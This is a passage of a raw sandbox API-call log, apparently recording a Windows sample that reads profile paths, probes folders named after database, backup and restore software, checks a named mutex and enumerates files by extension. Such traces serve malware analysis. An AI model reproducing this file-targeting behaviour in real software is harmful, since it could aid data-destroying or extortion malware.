dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.083] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18♔R\x18j")) returned 0xffffffff [0047.083] GetLastError () returned 0x2 [0047.083] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.083] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@❌R企@\x18?T\x18q")) returned 0xffffffff [0047.084] GetLastError () returned 0x2 [0047.084] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\♐RP") returned 6 [0047.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⎌R企@\x18?T\x18y")) returned 0xffffffff [0047.084] GetLastError () returned 0x2 [0047.085] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.085] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18?T\x18\x81")) returned 0xffffffff [0047.085] GetLastError () returned 0x2 [0047.085] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.085] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@❌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.085] GetLastError () returned 0x2 [0047.086] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.086] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.086] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⎌R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.086] GetLastError () returned 0x2 [0047.086] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.086] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.086] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18?T\x18\x97")) returned 0xffffffff [0047.086] GetLastError () returned 0x2 [0047.086] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.086] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.087] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.087] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.087] GlobalUnlock (hMem=0x44000c) returned 0 [0047.087] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.087] GlobalLock (hMem=0x440004) returned 0x553188 [0047.087] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.087] GlobalUnlock (hMem=0x44000c) returned 0 [0047.087] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.087] GlobalUnlock (hMem=0x440004) returned 0 [0047.087] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.087] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.087] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.087] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.087] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.087] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.087] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.087] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.088] GlobalLock (hMem=0x440004) returned 0x551178 [0047.088] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.088] GlobalUnlock (hMem=0x440004) returned 0 [0047.088] GlobalLock (hMem=0x440004) returned 0x551178 [0047.088] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.088] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.088] GlobalUnlock (hMem=0x440004) returned 0 [0047.088] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.088] GlobalUnlock (hMem=0x44000c) returned 0 [0047.088] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.088] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.088] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.088] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.088] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.089] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.089] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.089] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.089] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.089] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.089] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.089] GlobalUnlock (hMem=0x44000c) returned 0 [0047.089] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.089] GlobalLock (hMem=0x440004) returned 0x553188 [0047.089] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.089] GlobalUnlock (hMem=0x44000c) returned 0 [0047.089] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.089] GlobalUnlock (hMem=0x440004) returned 0 [0047.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.090] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.090] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.090] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.090] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.090] GlobalLock (hMem=0x440004) returned 0x552180 [0047.090] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.090] GlobalUnlock (hMem=0x440004) returned 0 [0047.090] GlobalLock (hMem=0x440004) returned 0x552180 [0047.090] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.090] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.090] GlobalUnlock (hMem=0x440004) returned 0 [0047.090] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.090] GlobalUnlock (hMem=0x44000c) returned 0 [0047.090] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.090] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0047.091] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0047.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\lt-LT\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0047.091] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.091] GetLastError () returned 0x12 [0047.091] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.091] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.091] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.091] GlobalUnlock (hMem=0x44000c) returned 0 [0047.091] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.091] GlobalLock (hMem=0x440004) returned 0x553188 [0047.091] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.091] GlobalUnlock (hMem=0x44000c) returned 0 [0047.091] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.091] GlobalUnlock (hMem=0x440004) returned 0 [0047.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.091] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.091] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.091] GlobalLock (hMem=0x440004) returned 0x551178 [0047.091] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.091] GlobalUnlock (hMem=0x440004) returned 0 [0047.092] GlobalLock (hMem=0x440004) returned 0x551178 [0047.092] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.092] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.092] GlobalUnlock (hMem=0x440004) returned 0 [0047.092] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.092] GlobalUnlock (hMem=0x44000c) returned 0 [0047.092] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.092] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.092] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.092] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.092] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.092] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.092] GlobalUnlock (hMem=0x44000c) returned 0 [0047.092] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.092] GlobalLock 